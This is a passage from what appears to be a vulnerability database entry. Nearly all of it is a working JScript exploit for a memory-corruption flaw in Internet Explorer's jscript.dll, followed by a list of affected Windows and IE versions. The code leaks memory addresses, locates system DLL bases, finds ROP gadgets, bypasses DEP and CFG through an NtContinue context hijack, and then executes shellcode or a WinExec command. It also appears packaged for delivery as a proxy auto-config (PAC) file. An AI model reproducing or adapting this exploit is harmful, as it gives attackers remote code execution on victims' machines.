}
if(CurrentIndex == MaxIndex && CurrentIndex == MinIndex) {
DebugLog("Failed to find export: current, min and max indexes are all equal");
break;
}
}
}
return MakeQword(0, 0);
}
function SelectRandomImport64(ModuleBase, TargetModuleNameTable) { // Grab the first IAT entry of a function within the specified module
var ExtractedAddresss = MakeQword(0, 0);
var FileHdrRva = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + 0x3c));
var ImportDataDirAddress = MakeQword(ModuleBase.high, ModuleBase.low + FileHdrRva + 0x90); // Import data directory
var ImportRva = LeakDword64(ImportDataDirAddress);
var ImportSize = LeakDword64(MakeQword(ImportDataDirAddress.high, ImportDataDirAddress.low + 0x4)); // Get the size field of the import data dir
var DescriptorAddress = MakeQword(ModuleBase.high, ModuleBase.low + ImportRva);
while(ImportSize != 0) {
var NameRva = LeakDword64(MakeQword(DescriptorAddress.high, DescriptorAddress.low + 0xc)); // 0xc is the offset to the module name pointer
if(NameRva != 0) {
if(StrcmpLeak64(TargetModuleNameTable, MakeQword(ModuleBase.high, ModuleBase.low + NameRva))) {
var ThunkRva = LeakDword64(MakeQword(DescriptorAddress.high, DescriptorAddress.low + 0x10));
ExtractedAddresss = LeakQword64(MakeQword(ModuleBase.high, ModuleBase.low + ThunkRva + 0x18)); // +0x18 (4 thunks forwarded) since __imp___C_specific_handler can cause issues when imported in some jscript instances, and similarly on Windows 10 the 2nd import is ResolveDelayLoadedAPI which is forwarded to NTDLL.DLL.
break;
}
ImportSize -= 0x14;
DescriptorAddress.low += 0x14; // Next import descriptor in array
}
else {
break;
}
}
return ExtractedAddresss;
}
function DiveModuleBase64(Address) {
Address.low = (Address.low & 0xFFFF0000) + 0x4e; // Offset of "This program cannot be run in DOS mode" in PE header.
while(true) {
if(LeakWord64(Address) == 0x6854) { // 'hT'
if(LeakWord64(MakeQword(Address.high, Address.low + 2)) == 0x7369) { // 'si'
return MakeQword(Address.high, Address.low - 0x4e);
}
}
Address.low -= 0x10000;
}
return MakeQword(0, 0);
}
function BaseFromImports64(ModuleBase, TargetModuleNameTable) {
var RandomImportAddress = SelectRandomImport64(ModuleBase, TargetModuleNameTable);
if(RandomImportAddress.low || RandomImportAddress.high) {
return DiveModuleBase64(RandomImportAddress);
}
return MakeQword(0, 0);
}
////////
////////
// Misc. helper functions
////////
function NullSanitizeWord(StrWord) {
var Sanitized = 0;
if(StrWord != 0) {
if((StrWord & 0x00FF) == 0) {
Sanitized = 0; // First byte is NULL, end of the string.
}
else {
Sanitized = StrWord;
}
}
return Sanitized;
}
function BinaryCmp(TargetNum, CmpNum) { // return -1 for TargetNum being greater, 0 for equal, 1 for CmpNum being greater
if(TargetNum == CmpNum) {
return 0;
}
while(true) {
if((TargetNum & 0xff) > (CmpNum & 0xff)) {
return -1;
}
else if((TargetNum & 0xff) < (CmpNum & 0xff)) {
return 1;
}
TargetNum = TargetNum >> 8;
CmpNum = CmpNum >> 8;
}
}
function DwordToUnicode(Dword) {
var Unicode = String.fromCharCode(Dword & 0xFFFF);
Unicode += String.fromCharCode(Dword >> 16);
return Unicode;
}
function QwordToUnicode(Value) {
return String.fromCharCode.apply(null, [Value.low & 0xffff, (Value.low >> 16) & 0xffff, Value.high & 0xffff, (Value.high >> 16) & 0xffff]);
}
function TableToUnicode(Table) {
var Unicode = "";
for(var i = 0; i < Table.length; i++) {
Unicode += DwordToUnicode(Table[i]);
}
return Unicode;
}
function DwordArrayToBytes(DwordArray) {
var ByteArray = [];
for(var i = 0; i < DwordArray.length; i++) {
ByteArray.push(DwordArray[i] & 0xffff);
ByteArray.push((DwordArray[i] & 0xffff0000) >> 16);
}
return String.fromCharCode.apply(null, ByteArray);
}
function StrcmpLeak64(StrDwordTable, LeakAddress) { // Compare two strings between an array of WORDs and a string at a memory address
var TargetTableIndex = 0;
while (TargetTableIndex < StrDwordTable.length) {
var LeakStrWord = LeakWord64(MakeQword(LeakAddress.high, LeakAddress.low + (4 * TargetTableIndex)));
var SanitizedStrWord = NullSanitizeWord(LeakStrWord);
var TableWord = (StrDwordTable[TargetTableIndex] & 0x0000FFFF);
if(TableWord == SanitizedStrWord) {
LeakStrWord = LeakWord64(MakeQword(LeakAddress.high, LeakAddress.low + (4 * TargetTableIndex) + 2));
SanitizedStrWord = NullSanitizeWord(LeakStrWord);
TableWord = ((StrDwordTable[TargetTableIndex] & 0xFFFF0000) >> 16);
if(TableWord == SanitizedStrWord) {
if((TargetTableIndex + 1) >= StrDwordTable.length) {
return true;
}
TargetTableIndex++;
}
else {
break;
}
}
else {
break;
}
}
return false;
}
function MakeDouble(High, Low) {
return Int52ToDouble(QwordToInt52(High, Low));
}
function QwordToInt52(High, Low) {
// Sanity check via range. Not all QWORDs are going to be valid 52-bit integers that can be converted to doubles
if ((Low !== Low|0) && (Low !== (Low|0)+4294967296)) {
DebugLog ("Low out of range: 0x" + Low.toString(16));
}
if (High !== High|0 && High >= 1048576) {
DebugLog ("High out of range: 0x" + High.toString(16));
}
if (Low < 0) {
Low += 4294967296;
}
return High * 4294967296 + Low;
}
function Int52ToDouble(Value) {
var Low = Value | 0;
if (Low < 0) {
Low += 4294967296;
}
var High = Value - Low;
High /= 4294967296;
if ((High < 0) || (High >= 1048576)) {
DebugLog("Fatal error - not an int52: 0x" + Value.toString(16));
Loew = 0;
High = 0;
}
return { low: Low, high: High };
}
function MakeQword(High, Low) {
return { low: Low, high: High };
}
////////
////////
// Dynamic ROP chain creation code
////////
function HarvestGadget64(HintExportAddress, MaxDelta, Data, DataMask, MagicOffset) {
var MaxHighAddress = MakeQword(HintExportAddress.high, (HintExportAddress.low + MagicOffset + MaxDelta));
var MinLowAddress = MakeQword(HintExportAddress.high, ((HintExportAddress.low + MagicOffset) - MaxDelta));
var LeakAddress = MakeQword(HintExportAddress.high, HintExportAddress.low + MagicOffset);
var LeakFunc = LeakDword64; // Leaking by DWORD causes some quirks on 64-bit. Bitwise NOT solves issue.
var InitialAddress = LeakAddress;
var IndexDelta;
if(MinLowAddress.low < HintExportAddress.low) {
MinLowAddress.low = HintExportAddress.low; // Don't bother scanning below the hint export
}
DebugLog("Hunting for gadget 0x" + Data.toString(16) + " between 0x" + MinLowAddress.high.toString(16) + MinLowAddress.low.toString(16) + " and 0x" + MaxHighAddress.high.toString(16) + MaxHighAddress.low.toString(16) + " starting from 0x" + LeakAddress.high.toString(16) + LeakAddress.low.toString(16) + " based on hint export at 0x" + HintExportAddress.high.toString(16) + HintExportAddress.low.toString(16));
if(DataMask == 0x0000FFFF) {
LeakFunc = LeakWord64;
}
var LeakedData = LeakFunc(LeakAddress);
if((~LeakedData & DataMask) == ~Data) {
DebugLog("Found gadget at expected delta of " + MagicOffset.toString(16));
}
else {
var HighAddress = MakeQword(LeakAddress.high, LeakAddress.low + 1);
var LowAddress = MakeQword(LeakAddress.high, LeakAddress.low - 1);
LeakAddress = MakeQword(0, 0);
while(LowAddress.low >= MinLowAddress.low || HighAddress.low < MaxHighAddress.low) {
if(LowAddress.low >= MinLowAddress.low) {
LeakedData = LeakFunc(LowAddress);
if((~LeakedData & DataMask) == ~Data) {
DebugLog("Found gadget from scan below magic at 0x" + LowAddress.high.toString(16) + LowAddress.low.toString(16));
LeakAddress = LowAddress;
break;
}
LowAddress.low -= 1;
}
if(HighAddress.low < MaxHighAddress.low) {
LeakedData = LeakFunc(HighAddress);
if((~LeakedData & DataMask) == ~Data) {
LeakAddress = HighAddress;
IndexDelta = (LeakAddress.low - InitialAddress.low);
DebugLog("Found gadget from scan above magic at 0x" + HighAddress.high.toString(16) + HighAddress.low.toString(16) + " (index " + IndexDelta.toString(10) + ")");
break;
}
HighAddress.low += 1;
}
}
}
return LeakAddress;
}
////////
////////
// Primary high level exploit logic
////////
function MakeContextDEPBypass64(NewRSP, ArtificialStackAddress, StackPivotAddress, VirtualProtectAddress, ShellcodeAddress, ShellcodeSize, WritableAddress) {
return "\u0000\u0000\u0000\u0000" + // P3Home
"\u0000\u0000\u0000\u0000" + // P4Home
"\u0000\u0000\u0000\u0000" + // P5Home
"\u0000\u0000\u0000\u0000" + // P6Home
"\u0003\u0010" + // ContextFlags
"\u0000\u0000" + // MxCsr
"\u0033" + // SegCs
"\u0000" + // SegDs
"\u0000" + // SegEs
"\u0000" + // SegFs
"\u0000" + // SegGs
"\u002b" + // SegSs
"\u0246\u0000" + // EFlags
"\u0000\u0000\u0000\u0000" + // Dr0 - Prevents EAF too!
"\u0000\u0000\u0000\u0000" + // Dr1
"\u0000\u0000\u0000\u0000" + // Dr2
"\u0000\u0000\u0000\u0000" + // Dr3
"\u0000\u0000\u0000\u0000" + // Dr6
"\u0000\u0000\u0000\u0000" + // Dr7
"\u0000\u0000\u0000\u0000" + // Rax
QwordToUnicode(ShellcodeAddress) + // Rcx
QwordToUnicode(ShellcodeSize) + // Rdx
"\u0000\u0000\u0000\u0000" + // Rbx
QwordToUnicode(NewRSP) + // Rsp
"\u0000\u0000\u0000\u0000" + // Rbp
"\u0000\u0000\u0000\u0000" + // Rsi
"\u0000\u0000\u0000\u0000" + // Rdi
"\u0040\u0000\u0000\u0000" + // R8
QwordToUnicode(WritableAddress) + // R9
"\u0000\u0000\u0000\u0000" + // R10
QwordToUnicode(ArtificialStackAddress) + // R11
"\u0000\u0000\u0000\u0000" + // R12
"\u0000\u0000\u0000\u0000" + // R13
"\u0000\u0000\u0000\u0000" + // R14
"\u0000\u0000\u0000\u0000" + // R15
QwordToUnicode(StackPivotAddress); // RIP
}
function MakeContextWinExec64(CommandLineAddress, StackPtr, WinExecAddress) {
return "\u0000\u0000\u0000\u0000" + // P3Home
"\u0000\u0000\u0000\u0000" + // P4Home
"\u0000\u0000\u0000\u0000" + // P5Home
"\u0000\u0000\u0000\u0000" + // P6Home
"\u0003\u0010" + // ContextFlags
"\u0000\u0000" + // MxCsr
"\u0033" + // SegCs
"\u0000" + // SegDs
"\u0000" + // SegEs
"\u0000" + // SegFs
"\u0000" + // SegGs
"\u002b" + // SegSs
"\u0246\u0000" + // EFlags
"\u0000\u0000\u0000\u0000" + // Dr0 - Prevents EAF too!
"\u0000\u0000\u0000\u0000" + // Dr1
"\u0000\u0000\u0000\u0000" + // Dr2
"\u0000\u0000\u0000\u0000" + // Dr3
"\u0000\u0000\u0000\u0000" + // Dr6
"\u0000\u0000\u0000\u0000" + // Dr7
"\u0000\u0000\u0000\u0000" + // Rax
QwordToUnicode(CommandLineAddress) + // Rcx - Command pointer
"\u0005\u0000\u0000\u0000" + // Rdx - SW_SHOW
"\u0000\u0000\u0000\u0000" + // Rbx
QwordToUnicode(StackPtr) + // Rsp
"\u0000\u0000\u0000\u0000" + // Rbp
"\u0000\u0000\u0000\u0000" + // Rsi
"\u0000\u0000\u0000\u0000" + // Rdi
"\u0000\u0000\u0000\u0000" + // R8
"\u0000\u0000\u0000\u0000" + // R9
"\u0000\u0000\u0000\u0000" + // R10
"\u0000\u0000\u0000\u0000" + // R11
"\u0000\u0000\u0000\u0000" + // R12
"\u0000\u0000\u0000\u0000" + // R13
"\u0000\u0000\u0000\u0000" + // R14
"\u0000\u0000\u0000\u0000" + // R15
QwordToUnicode(WinExecAddress); // RIP - KERNEL32.DLL!WinExec
}
function CreateFakeVtable(NtContinueAddress) {
var FakeVtable = "";
var Padding = [];
for (var i = 0; i < (0x138 / 4); i++) {
Padding[i] = 0x11111111;
}
FakeVtable += DwordArrayToBytes(Padding);
FakeVtable += DwordArrayToBytes([NtContinueAddress.low]);
FakeVtable += DwordArrayToBytes([NtContinueAddress.high]);
for (var i = (0x140 / 4); i < (0x400 / 4); i++) {
Padding[i] = 0x22222222;
}
FakeVtable += DwordArrayToBytes(Padding);
return FakeVtable;
}
var LFHBlocks = new Array(); // If this is local rather than global the exploit does not work on Windows 8.1 IE11 64-bit
function Exploit() {
if(PayloadType != "shellcode" && PayloadType != "winexec") {
DebugLog("Fatal error: invalid payload type");
return 0;
}
// Initialization: these anchor re-claim counts have varying affects on exploit stability. The higher the anchor count, the more stable, but the more time the exploit will take.
if(WindowsVersion <= 7) {
ReClaimNameList = ReClaimIndexNameList;
NameListAnchorCount = 5000; // 20000 was needed prior to using GC at the start of the exploit. Performance went from around 4 seconds to 700ms when moved to 400. 5000 was the sweet spot on Win7 IE8 64-bit between speed and stability.
}
else {
ReClaimNameList = ReClaimBackupNameLists;
if(PacFile) {
NameListAnchorCount = 10000;
}
else {
NameListAnchorCount = 400; // The larger this number the more reliable the exploit on Windows 8.1 where LFH cannot easily re-claim
}
}
CollectGarbage(); // This GC is essential for re-claims with randomized LFH on precise regions (such as VVAL re-claim), but it also allows for the GcBlock re-claim count to be drastically reduced (otherwise 20000+ was needed, as in the original exploit)
// Trigger LFH for a size of 0x970
for(var i = 0; i < 50; i++) { // Only 50 are needed to activate LFH, but spraying additional allocations seems to help clog existing free memory regions on the heap and improve LFH re-claim reliability on Win8.1+
Temp = new Object();
Temp[Array(570).join('A')] = 1; // Property name size of 0x239 (569 chars with a default +1 added as a terminator) will produce the desired re-claim allocation size.
LFHBlocks.push(Temp);
}
// Re-claim with type confusion NameLists
NewUntrackedVarSet();
DebugLog("Total untracked variables: " + UntrackedVarSet.length.toString(10));
for(var i = 0; i < NameListAnchorCount; i++) {
NameListAnchors[i][SizerPropName] = 1; // 0x239 property name size for 0x970 NameList allocation size
NameListAnchors[i]["BBBBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit
NameListAnchors[i]["\u0005"] = 1; // This ends up in the VVAL hash/name length to be type confused with an integer VAR
NameListAnchors[i]["C"] = i; // The address of this VVAL will be leaked
}
AnchorObjectsBackup = NameListAnchors; // Backup name list anchor objects (this will allow re-claim to "stick").
// Leak final VVAL address from one of the NameLists
var LeakedVvalAddress = 0;
var TypeConfusionAligned = false;
for(var i = 0; i < UntrackedVarSet.length; i++) {
if(typeof UntrackedVarSet[i] === "number" && UntrackedVarSet[i] % 1 != 0) {
LeakedVvalAddress = (UntrackedVarSet[i] / 4.9406564584124654E-324); // This division just converts the float into an easy-to-read 32-bit number
TypeConfusionAligned = true;
break;
}
}
if(!TypeConfusionAligned) {
DebugLog("Leaked anchor object type confusion re-claim failed: no untracked var aligned with type confusion float/next VVAL pointer");
return 0;
}
LeakedVvalAddress = Int52ToDouble(LeakedVvalAddress); // In Windows 7, the leaked heap pointer could always be encoded in 32-bits. On Windows 8.1 IE11, it often consumes more. By leaking the final VVAL pointer with a double float we can get the bits we need. Experimenting with this I learned all JS numbers are 52 bits in size. In the event that the leaked pointer has its highest bits set it may be an invalid double. This hasn't be an issue on Windows 7 x64, x86, or Windows 8.1 x64 during my testing.
if(!LeakedVvalAddress.high && !LeakedVvalAddress.low) {
DebugLog("Leaked anchor object type confusion re-claim failed: conversion of leaked VVAL address (type confusion successful) to double failed (invalid 52-bit integer)");
return 0;
}
// Re-claim with VAR-referencing-VAR NameLists
var PrimaryVvalPropName = "AAAAAAAA"; // 16 bytes for size of GcBlock double linked list pointers
for(var i = 0; i < 46; i++) {
PrimaryVvalPropName += CreateVar64(0x80, LeakedVvalAddress.low, LeakedVvalAddress.high, 0, 0); // Type 0x80 is a VAR reference
}
while(PrimaryVvalPropName.length < 0x239) PrimaryVvalPropName += "A";
// Re-claim with leaked VVAL address vars (to be dereferenced for anchor object index extraction)
NewUntrackedVarSet();
for(var i = 0; i < NameListAnchorCount; i++) {
NameListAnchors[i][PrimaryVvalPropName] = 1;
}
// Extract NameList anchor index through untracked var dereference to leaked VVAL prefix VAR
var LeakedVvalVar;
for(var i = 0; i < UntrackedVarSet.length; i++) {
if(typeof UntrackedVarSet[i] === "number") {
LeakedAnchorIndex = parseInt(UntrackedVarSet[i] + ""); // Attempting to access the untracked var without parseInt will fail ("null or not an object")
LeakedVvalVar = UntrackedVarSet[i]; // The + "" trick alone does not seeem to be enough to populate this with the actual value
break;
}
}
DebugLog("Leaked anchor object index: " + LeakedAnchorIndex.toString(16));
// Verify that the VAR within the leaked VVAL can be influenced by directly freeing/re-claiming the NameList associated with the leaked NameList anchor object (whose index is now known)
ReClaimNameList(0x11, "A");
if(LeakedVvalVar + "" != 0x11) {
DebugLog("Failed to extract final VVAL index via re-claim");
return 0;
}
// Create the mutable variable which will be used throughout the remainder of the exploit and re=claim with VAR-referencing-VAR to it for dereference
ReClaimNameList(0, CreateVar64(0x3, 0x22, 0, 0, 0));
PrimaryVvalPropName = "AAAAAAAA"; // 2 wide chars (4 bytes) plus the 4 byte BSTR length gives 8 bytes: the size of the two GcBlock linked list pointers. Everything after this point can be fake VARs and a tail padding.
for(var i = 0; i < 46; i++) {
PrimaryVvalPropName += CreateVar64(0x80, LeakedVvalAddress.low + 0x40, LeakedVvalAddress.high, 0, 0); // +0x40 is the offset to property name field of 64-bit VVAL struct. Type 0x80 is a VAR reference
}
while(PrimaryVvalPropName.length < 0x239) PrimaryVvalPropName += "A"; // Dynamically pad the end of the proeprty name to correct length
// Re-claim with leaked VVAL name property address vars (this is the memory address of the mutable variable that will be created)
NewUntrackedVarSet();
for(var i = 0; i < NameListAnchorCount; i++) {
NameListAnchors[i][PrimaryVvalPropName] = 1;
}
for(var i = 0; i < UntrackedVarSet.length; i++) {
if(typeof UntrackedVarSet[i] === "number") {
if(UntrackedVarSet[i] + "" == 0x22) {
MutableVar = UntrackedVarSet[i];
break;
}
}
}
// Verify the mutable var can be changed via simple re-claim
ReClaimNameList(0, CreateVar64(0x3, 0x33, 0, 0, 0));
if(MutableVar + "" != 0x33) {
DebugLog("Failed to verify mutable variable modification via re-claim");
return 0;
}
// Test arbitrary read primitive
var MutableVarAddress = MakeQword(LeakedVvalAddress.high, LeakedVvalAddress.low + 0x40);
if(LeakByte64(MutableVarAddress) != 0x8) { // Change mutable var to a BSTR pointing at itself.
DebugLog("Memory leak test failed");
return 0;
}
// Derive jscript.dll base from leaked Object vtable
var DissectedObj = new Object();
var ObjectAddress = LeakObjectAddress64(LeakedVvalAddress, DissectedObj);
var VtableAddress = LeakQword64(ObjectAddress);
var JScriptBase = DiveModuleBase64(VtableAddress);
if(!JScriptBase.low && !JScriptBase.high) {
DebugLog("Failed to leak JScript.dll base address");
return 0;
}
else {
DebugLog("Leaked JScript base address: 0x" + JScriptBase.high.toString(16) + JScriptBase.low.toString(16));
}
// Extract the first Kernel32.dll import from Jscript.dll IAT to dive for its base
var Kernel32Base = BaseFromImports64(JScriptBase, [0x4e52454b, 0x32334c45]);
if(!Kernel32Base.low && !Kernel32Base.high) {
DebugLog("Kernel32.dll base resolution via Jscript.dll imports failed.");
return 0;
}
else {
DebugLog("Leaked KERNEL32.DLL base address: 0x" + Kernel32Base.high.toString(16) + Kernel32Base.low.toString(16));
}
var VirtualProtectAddress;
var WinExecAddress;
if(PayloadType == "shellcode") {
// Resolve APIs for command execution: NTDLL.DLL!NtContinue, KERNEL32.DLL!VirtualProtect
VirtualProtectAddress = ResolveExport64(Kernel32Base, [ 0x74726956, 0x506c6175, 0x65746f72, 0x00007463 ]); // VirtualProtect
if(!VirtualProtectAddress.low && !VirtualProtectAddress.high) {
DebugLog("Failed to resolve address of KERNEL32.DLL!VirtualProtect");
return 0;
}
DebugLog("Successfully resolved address of VirtualProtect to: 0x" + VirtualProtectAddress.high.toString(16) + VirtualProtectAddress.low.toString(16));
}
else if(PayloadType == "winexec") {
// Resolve APIs for command execution: NTDLL.DLL!NtContinue, KERNEL32.DLL!WinExec
WinExecAddress = ResolveExport64(Kernel32Base, [0x456e6957]);
if(!WinExecAddress.low && !WinExecAddress.high) {
DebugLog("Failed to resolve address of KERNEL32.DLL!WinExec");
return 0;
}
}
var MsvcrtBase = BaseFromImports64(JScriptBase, [0x6376736d, 0x642e7472]);
if(!MsvcrtBase.low && !MsvcrtBase.high) {
DebugLog("Msvcrt.dll base resolution via Jscript.dll imports failed.");
return 0;
}
var NtdllBase = BaseFromImports64(MsvcrtBase, [0x6c64746e, 0x6c642e6c]);
if(!NtdllBase.low && !NtdllBase.high) {
DebugLog("Ntdll.dll base resolution via Msvcrt.dll imports failed.");
return 0;
}
var NtContinueAddress = ResolveExport64(NtdllBase, [0x6f43744e, 0x6e69746e]);
if(!NtContinueAddress.low && !NtContinueAddress.high) {
DebugLog("Failed to resolve address of NTDLL.DLL!NtContinue");
return 0;
}
// Leak an authentic stack pointer to avoid triggering the stack pivot protection built into CFG on Windows 8.1+ within the kernel layer of NTDLL.DLL!NtContinue
var CSessionAddress = LeakQword64(MakeQword(ObjectAddress.high, ObjectAddress.low + 24)); // Get CSession from offset 24
var LeakedStackPtr = LeakQword64(MakeQword(CSessionAddress.high, CSessionAddress.low + 80));
LeakedStackPtr.low += 0x8; // Stack alignment needs to be at a 0x10 boundary prior to CALL
// Construct a fake vtable and fake object for use within mutable var property name
var FakeVtable = CreateFakeVtable(NtContinueAddress);
FakeVtable = FakeVtable.substr(0, FakeVtable.length);
var FakeVtableAddress = LeakObjectAddress64(LeakedVvalAddress, FakeVtable);
var MutableVarAddress = MakeQword(LeakedVvalAddress.high, LeakedVvalAddress.low + 0x40);
var FakeObjAddress = MakeQword(LeakedVvalAddress.high, LeakedVvalAddress.low + 96);
var Context;
if(PayloadType == "shellcode") {
// Allocate memory for shellcode, API output and an artificial stack
var ShellcodeStr = TableToUnicode(Shellcode);
var ShellcodeLen = MakeQword(0, (ShellcodeStr.length * 2));
ShellcodeStr = ShellcodeStr.substr(0, ShellcodeStr.length); // This trick is essential to ensure the "address of" primitive gets the actual address of the shellcode data and not another VAR in a chain of VARs (this happens when a VAR is appended to another repeaatedly as is the case here)
var ShellcodeAddress = LeakObjectAddress64(LeakedVvalAddress, ShellcodeStr);
/*
Artificial stack data for use beyond the NTDLL.DLL!NtContinue pivot.
NTDLL.DLL!NtContinue --------------------> RIP = <MSVCRT.DLL!0x00019baf> | MOV RSP, R11; RET
RCX = Shellcode address
RDX = Shellcode size
R8 = 0x40
R9 = Leaked address of BSTR to hold out param
RSP = Real stack pointer
R11 = Artificial stack
|-----------------------------| ^
| 2MB stack space (heap) | |
|-----------------------------| |
| Heap header/BSTR len align | |
|-----------------------------| |
| KERNEL32.DLL!VirtualProtect | <----------|
|-----------------------------|
| Shellcode return address ]
|-----------------------------|
*/
var Padding = Array(0x100000 + 1).join('\u0101'); // The +1 here always gives it a clean len (used to be -1)
var ArtificialStackStr = Padding; // A couple KB were never enough, even for VirtualProtect and WinExec. The WPAD RPC client shellcode for sandbox escape is exceptionally consumptive with stack memory.
ArtificialStackStr += DwordArrayToBytes([VirtualProtectAddress.low]);
ArtificialStackStr += DwordArrayToBytes([VirtualProtectAddress.high]);
ArtificialStackStr += DwordArrayToBytes([ShellcodeAddress.low]);
ArtificialStackStr += DwordArrayToBytes([ShellcodeAddress.high]);
ArtificialStackStr = ArtificialStackStr.substr(0, ArtificialStackStr.length);
var ArtificialStackAddress = LeakObjectAddress64(LeakedVvalAddress, ArtificialStackStr);
ArtificialStackAddress.low += ((ArtificialStackStr.length * 2) - 0x10); // Point RSP at the return address to the shellcode. The address consistently ends up an 0x8 multiple on Windows 7 IE8 64-bit. Stack overfloow exceptions were becoming an issue when I did not include this tail padding.
var WritableStr = "";
WritableStr += DwordArrayToBytes([0]);
WritableStr = WritableStr.substr(0, WritableStr.length);
var WritableAddress = LeakObjectAddress64(LeakedVvalAddress, WritableStr);
// Dynamically resolve ROP gadget for stack pivot via export hint
var StackPivotAddress;
var HintExportAddress = ResolveExport64(MsvcrtBase, [ 0x686e6174, 0x00000066 ]); // tanhf
var MagicOffset;
if(!HintExportAddress.low && !HintExportAddress.high) {
DebugLog("Failed to resolve address of MSVCRT.DLL!tanhf");
return 0;
}
if(WindowsVersion <= 7) {
MagicOffset = 0x2da + 1; // tanhf:0x00076450 (+0x2da) <- 0x0007672a -> (+0x3e5e) ??_7bad_cast@@6B@:0x0007a588
}
else {
MagicOffset = 0x11f + 19; // tanhf:0x00019a90 (+0x11f) <- 0x00019baf -> (+0x31) acosf:0x00019be0
}
// 49:8BE3 | mov rsp,r11
// C3 | ret
StackPivotAddress = HarvestGadget64(HintExportAddress, 0x500, 0xC3E38B49, 0x00000000FFFFFFFF, MagicOffset);
if(!StackPivotAddress.low && !StackPivotAddress.high) {
DebugLog("Failed to resolve address of stack pivot gadget");
return 0;
}
DebugLog("Gadget address of stack pivot: 0x" + StackPivotAddress.high.toString(16) + StackPivotAddress.low.toString(16));
Context = MakeContextDEPBypass64(LeakedStackPtr, ArtificialStackAddress, StackPivotAddress, VirtualProtectAddress, ShellcodeAddress, ShellcodeLen, WritableAddress);
DebugLog("Artificial stack pointer address at 0x" + ArtificialStackAddress.high.toString(16) + " " + ArtificialStackAddress.low.toString(16) +" shellcode at 0x" + ShellcodeAddress.high.toString(16) + ShellcodeAddress.low.toString(16) + " CONTEXT pointer: 0x" + FakeObjAddress.high.toString(16) + FakeObjAddress.low.toString(16));
}
else if(PayloadType == "winexec") {
CommandStr = CommandStr.substr(0, CommandStr.length);
var CommandStrAddress = LeakObjectAddress64(LeakedVvalAddress, CommandStr);
Context = MakeContextWinExec64(CommandStrAddress, LeakedStackPtr, WinExecAddress);
}
var RipHijackPropName = CreateVar64(0x81, LeakedVvalAddress.low + 96, LeakedVvalAddress.high, 0, 0) + CreateVar64(0, FakeVtableAddress.low, FakeVtableAddress.high, 0, 0) + Context; // 96 is the 64-bit prop name offset plus size of mutable VAR and next VAR Type field.
/*
jscript.dll!Object.Typeof method
mov rdi,qword ptr ds:[rdi+8]
mov rax,qword ptr ds:[rdi]
mov rbx,qword ptr ds:[rax+138]
mov rcx,rbx
call qword ptr ds:[7FFA554EC628]
mov rcx,rdi
call rbx
Initially RDI holds the pointer to the mutable VAR. Its object pointer is being loaded from +8, and then
RDI holds the pointer to the fake Object, which is dereferenced into RAX to obtain the vtable pointer.
Offset 0x138 holds the typeof method pointer within the vtable, which is subsequently passed to CFG
for validation.
Since the fake vtable holds the address of NTDLL.DLL!NtContine in place of its typeof method (and this
address is whitelisted by CFG) the security check will succeed and we will end up with an indirect branch
instruction (CALL RBX) whch will execute the RIP hijack.
Most notably, since a class method will always be passed its "this" pointer as its first parameter (which
in x64 will be held in RCX) we not only end up with a RIP hijack but also control of the RCX register.
Control of this register allows us to control the first parameter to NTDLL.DLL!NtContinue (in this case
a CONTEXT structure pointer) which conveniently will hold a pointer to our fake object, the contents of
which we control. Thus the fake object itself will be interpreted as CONTEXT struct we may control.
Malicious VVAL property name
------------------
| VAR.Type | <-- Mutable var
|----------------| |
| VAR.ObjPtr | <------ Referencing fake object appended to itself in the VVAL property name
|----------------| |
| VAR.Type | |-- Not a real VAR (its Type is skipped and never referenced), just a 0 field.
|----------------| |
| Fake vtable ptr| <---|-- Fake object begins here. RCX and RDI point here
|----------------|
| VAR.NextPtr | <-- Unreferenced, a side-effect of using a VAR struct to initialize the fake object.
|----------------|
| CONTEXT | <-- Notably the first 16 bytes (2 QWORDs) of this struct will be confused with the fake vtable ptr and VAR.NextPtr fields. These fields represent the P1Home and P2Home registers and its fine if they are initialized to 0.
|________________|
*/
ReClaimNameList(0, RipHijackPropName);
var TotalTime = (new Date().getTime() - ScriptTimeStart);
DebugLog("TIME ... total time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10));
typeof MutableVar;
}
function FindProxyForURL(url, host){
return "DIRECT";
}
Exploit();
Products Mentioned
Configuraton 0
Microsoft>>Internet_explorer >> Version 9
Microsoft>>Windows_server_2008 >> Version -
Configuraton 0
Microsoft>>Internet_explorer >> Version 10
Microsoft>>Windows_server_2012 >> Version -
Configuraton 0
Microsoft>>Internet_explorer >> Version 11
Microsoft>>Windows_10 >> Version -
Microsoft>>Windows_10 >> Version 1607
Microsoft>>Windows_10 >> Version 1709
Microsoft>>Windows_10 >> Version 1803
Microsoft>>Windows_10 >> Version 1809
Microsoft>>Windows_10 >> Version 1903
Microsoft>>Windows_10 >> Version 1909
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_8.1 >> Version -
Microsoft>>Windows_rt_8.1 >> Version -
Microsoft>>Windows_server_2008 >> Version r2
Microsoft>>Windows_server_2012 >> Version -
Microsoft>>Windows_server_2012 >> Version r2
Microsoft>>Windows_server_2019 >> Version -
References